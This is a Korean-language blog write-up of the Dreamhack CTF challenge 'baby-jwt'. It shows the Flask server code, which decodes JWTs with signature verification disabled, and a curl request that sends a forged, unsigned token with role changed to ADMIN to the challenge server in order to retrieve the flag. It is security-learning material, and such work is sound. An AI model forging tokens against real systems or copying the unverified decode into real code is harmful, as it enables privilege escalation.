https://dreamhack.io/wargame/challenges/1754
baby-jwt
**J: JSON으로 데이터 관리하며 W: 웹에서 인증을 책임지는 T: 토큰의 강력한 무기, JWT! 😊** Feat. ChatGPT 플래그 형식은 0xH0P3{...} 입니다.
dreamhack.io
이번에도 웹 해킹 문제다. 서버 코드를 다운받고 웹 사이트로 들어가보자.
간단한 유저 등록, 로그인 창이 뜬다.
간단하게 ruffy라는 유저를 등록해보자.
성공적으로 ruffy라는 유저가 등록되었다는 창이 뜨는데, 개발자 도구에서 살펴봐도 딱히 특별한 점은 없다.
다시 돌아와서, ruffy라는 유저로 로그인을 시도해 보자.
로그인이 성공했다고 뜬다.
만약 동일한 유저 이름으로 등록(register)을 시도할 경우, 유저가 이미 존재한다고 나온다.
이제 코드를 살펴보자.
code
from flask import Flask, request, jsonify, render_template_string, make_response
import jwt
import datetime
app = Flask(__name__)
SECRET_KEY = "nolmyun_muhhanee_butterfly_whitewhale_musicsogood"
users = {}
html_template = '''
<!DOCTYPE html>
<html>
<head>
<title>JWT CTF Challenge</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f4f4f4;
}
h1 {
color: #333;
}
form {
margin-bottom: 20px;
background: #fff;
padding: 15px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
input {
margin-bottom: 10px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
width: 100%;
}
button {
padding: 10px 15px;
background-color: #007BFF;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<h1>Simple Secret Check!</h1>
<h2>Register</h2>
<form action="/register" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<button type="submit">Register</button>
</form>
<h2>Login</h2>
<form action="/login" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<button type="submit">Login</button>
</form>
<h2>Get Secret</h2>
<button onclick="checkCookie()">Check</button>
<p id="result"></p>
<script>
function checkCookie() {
const cookies = document.cookie.split('; ');
const tokenCookie = cookies.find(row => row.startsWith('token='));
if (!tokenCookie) {
document.getElementById('result').innerText = 'No token found in cookies!';
return;
}
const token = tokenCookie.split('=')[1];
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: token })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
document.getElementById('result').innerText = `Flag: ${data.flag}`;
} else {
document.getElementById('result').innerText = `Error: ${data.error}`;
}
})
.catch(error => {
document.getElementById('result').innerText = `Request failed: ${error}`;
});
}
</script>
</body>
</html>
'''
@app.route('/')
def home():
return render_template_string(html_template)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
if username in users:
return jsonify({"error": "Username already exists"}), 400
users[username] = {"role": "USER"}
return jsonify({"message": f"User {username} registered successfully"})
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
token = jwt.encode(
{"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
response = make_response(jsonify({"message": "Login successful"}))
response.set_cookie("token", token)
return response
return jsonify({"error": "Invalid username"}), 400
return render_template_string(html_template)
@app.route('/flag', methods=['POST'])
def flag():
data = request.get_json()
token = data.get('token') if data else request.cookies.get('token')
if not token:
return jsonify({"error": "Missing token"}), 403
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
if decoded.get('role') == 'ADMIN':
return jsonify({"flag": "LOL ADMIN HELLO!!! 0xH0P3{REDACTED}"})
except jwt.ExpiredSignatureError:
return jsonify({"error": "Token expired"}), 403
except jwt.DecodeError:
return jsonify({"error": "Invalid token"}), 403
return jsonify({"error": "Unauthorized"}), 403
if __name__ == '__main__':
app.run(debug=True)
flask로 만들어진 웹 서버
/flag 페이지에서 쿠키를 확인할 때 token값을 확인하는데, 만약 token을 복호화하고 나온 키 값중 role의 값이 ADMIN일 경우 플래그를 출력한다.
jwt를 조작하는 문제인듯?
로그인 부분을 살펴보자.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
token = jwt.encode(
{"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
response = make_response(jsonify({"message": "Login successful"}))
response.set_cookie("token", token)
return response
return jsonify({"error": "Invalid username"}), 400
return render_template_string(html_template)
만약 유저가 존재하는 유저라면, 토큰을 jwt 복호화해서 role을 추출한 뒤 /flag 경로에 대한 접근 권한을 부여하는 듯 보인다.
<h2>Get Secret</h2>
<button onclick="checkCookie()">Check</button>
<p id="result"></p>
<script>
function checkCookie() {
const cookies = document.cookie.split('; ');
const tokenCookie = cookies.find(row => row.startsWith('token='));
if (!tokenCookie) {
document.getElementById('result').innerText = 'No token found in cookies!';
return;
}
const token = tokenCookie.split('=')[1];
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: token })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
document.getElementById('result').innerText = `Flag: ${data.flag}`;
} else {
document.getElementById('result').innerText = `Error: ${data.error}`;
}
})
.catch(error => {
document.getElementById('result').innerText = `Request failed: ${error}`;
});
}
</script>
get secret에서 check 버튼을 눌렀을 때 만약 role이 ADMIN일 경우 /flag 경로로 리다이렉트하는 것 같다.
그러나 jwt token이 조작되었는지 판단하는 검증 알고리즘이 없기 때문에 조작된 jwt token 값을 보낼 경우 그대로 우회되어 ADMIN으로 접근할 수 있을 듯 하다.
Exploit
get secret에서, check 버튼을 누르면 아래와 같이 나온다.
ruffy라는 유저의 토큰을 복호화하였을 때, role이 ADMIN이 아니기 때문에 Error가 출력되는 것 같다.
ruffy의 토큰을 확인해보자.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJ1ZmZ5Iiwicm9sZSI6IlVTRVIiLCJleHAiOjE3MzgyNTA5NjF9.YHqsxdI38Tyotax81ZlVyDvh2RLOaBEyc0_MT0xpGhQ
jwt 토큰은 아래와 같이, 크게 3가지로 구분되어 있다.
<Header>
.
<Payload>
.
<Signature>
서버 코드에서는 signature 관련으로 딱히 다른 검증은 하지 않으므로, Header, Payload 부분을 잘 살펴보도록 하자.
여기서 role만 ADMIN으로 변경한 후, jwt token을 만들어보자. 아래 사이트에서 만들면 된다.
JWT.IO
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
jwt.io
그리고 signature 부분(하늘색으로 표시된 부분) 을 제외한 Header, Payload 부분만을 추출해서 curl을 이용해 서버에 요청을 보내보도록 하자.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJ1ZmZ5Iiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM4MjUxMzc2fQ.
curl -X POST http://host1.dreamhack.games:12463/flag \
-H "Content-Type: application/json" \
-d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJ1ZmZ5Iiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM4MjUxMzc2fQ."}'
플래그 출력
'보안 > Web hacking' 카테고리의 다른 글
[Dreamhack] Base64 based (0) | 2025.02.10 |
---|---|
[Dreamhack] Pearfect Markdown (0) | 2025.02.05 |
[Dreamhack] 삐리릭... 삐리리릭... (0) | 2025.01.30 |
[Dreamhack] Logical (0) | 2025.01.27 |
[Dreamhack] Fly me to the moon (0) | 2025.01.20 |